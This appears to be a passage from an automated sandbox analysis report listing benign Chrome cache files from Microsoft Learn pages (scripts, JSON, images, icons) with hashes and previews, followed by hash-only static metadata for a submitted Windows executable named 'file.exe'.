Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949347406764243
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'842'688 bytes
MD5:	ff1c291b46fb3ada2bdb55ba4c14bcfe
SHA1:	875c6f3b14c117f3429771d5e8d82ee667c8fed6
SHA256:	75c752bb2e5ff68a9689fa43bc6a9e408834ebc40a50725e6ca31fc26553af0e
SHA512:	ec8ff21cd6e26186ddfe4985040e058161257a24d0569c8074df99f71027467faba7353b26767664a1104abae0794eaa5b95391bb4cd721eadc6fc4a36241ea4
SSDEEP:	49152:veJstCliii7ZFFcB1YwHDOUPeQ1dm+TL36/GKwKT2Zb8I0u8LN:GGtClit73FcB1Y2zPeQ1d93UUKT2Zns
TLSH:	A1853328A5D322B6CCF629F84E839AE271E97D747DB0D9CC458F325741220E5A17EC87
